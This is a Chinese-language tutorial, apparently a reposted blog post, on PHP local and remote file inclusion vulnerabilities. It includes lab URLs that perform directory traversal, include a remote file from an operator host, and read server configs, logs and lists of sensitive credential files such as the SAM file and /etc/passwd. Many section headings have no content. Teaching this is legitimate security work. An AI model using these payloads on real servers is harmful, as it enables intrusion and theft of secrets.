网络安全——文件包含漏洞

一、文件包含

1、什么是文件包含?

把可重复使用的函数写入到单个文件中,在需要使用该函数时,直接调用该文件,无需多次编写函数。

2、文件包含漏洞

原理:

利用条件:

include等函数通过动态执行变量的方式引入需要包含的文件

用户能控制输入,控制该变量

 3、文件包含的函数

 4、文件包含示例

 

 5、文件包含的分类

文件包含漏洞可以分为LFI(Local File Inclusion,本地文件包含)和RFI(Remote File Inclusion,远程文件包含)两种。而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_url_include。如果开启就有可能包含远程文件。
远程文件包含需要php.ini中allow_url_include=on,allow_url_fopen = On。在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

 本地文件包含

 远程文件包含

二、文件包含漏洞利用

6、读取敏感文件

 

 2、本地包含配合文件上传

 3、远程包含shell

 4、包含Apache日志文件

 

 

Apache日志默认路径

 

 IIS日志默认路径

 Ngnix日志默认路径

5、包含SSH日志文件

 6、包含session文件

 

 

 7、PHP封装伪协议

 

 

 

 

 


三、实例——文件包含分类

本地包含

1、在浏览器中访问http://ip/include/02/1.php?a=hello.txt,包含服务器本地当前目录下的文件

2、在浏览器中访问http://ip/include/02/1.php?a=…/include.php,包含服务器本地上一级目录的文件

3、在浏览器中访问http://ip/include/02/1.php?a=…/01/1.jpg,包含服务器本地其他目录的文件,进行目录遍历

远程包含

 1、打开"phpStudy",启动操作机的Apache服务

2、在操作机的Web根目录下新建include.php

3、在浏览器中访问http://靶机ip/include/02/1.php?a=http://操作机ip/include.php

 


四、实例——文件包含漏洞利用之读取敏感文件信息

利用文件包含漏洞可以包含一些操作系统的敏感文件,从而读取重要信息。
Windows系统敏感信息:

C:\boot.ini                                  //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml     //IIS配置文件
C:\windows\repair\sam                       //windows初次安装的密码
C:\program Files\mysql\my.ini               //Mysql配置信息
C:\program Files\mysql\data\mysql\user.MYD  //Mysql root C:\windows\php.ini                         //php配置信息
......

Linux系统敏感信息:

/etc/passwd                                       //linux用户信息
/usr/local/app/apache2/conf/httpd.conf            //apache2配置文件
/usr/local/app/php5/lib/php.ini                   //php配置文件
/etc/httpd/conf/httpd.conf                       //apache配置文件
/etc/my.cnf                                      //Mysql配置文件
......

1、打开浏览器,在浏览器中访问http://ip/include/include.php

2、在浏览器中访问http://ip/include/include.php?page=xxx.php,包含不存在的文件,使其报错,获取服务器的Web根目录、当前网页的路径、Web服务器等信息

3、在浏览器中访问http://ip/include/include.php?page=C:\server\apache22\conf\httpd.conf,包含Apache配置文件获取信息

4、在浏览器中访问http://ip/include/include.php?page=C:\server\apache22\logs\access.log,包含Apache的访问日志获取信息

5、在浏览器中访问http://ip/include/include.php?page=C:\server\apache22\logs\error.log,包含Apache的错误日志获取信息

6、在浏览器中访问http://ip/include/include.php?page=C:\Windows\system32\drivers\etc\hosts,包含hosts文件获取信息

7、在浏览器中访问http://ip/include/include.php?page=C:\Windows\win.ini,包含Windows系统的基本系统配置文件获取信息


这篇文章就先写到这里了,还有实例接下一篇文章

猜你喜欢

转载自blog.csdn.net/weixin_54055099/article/details/127022564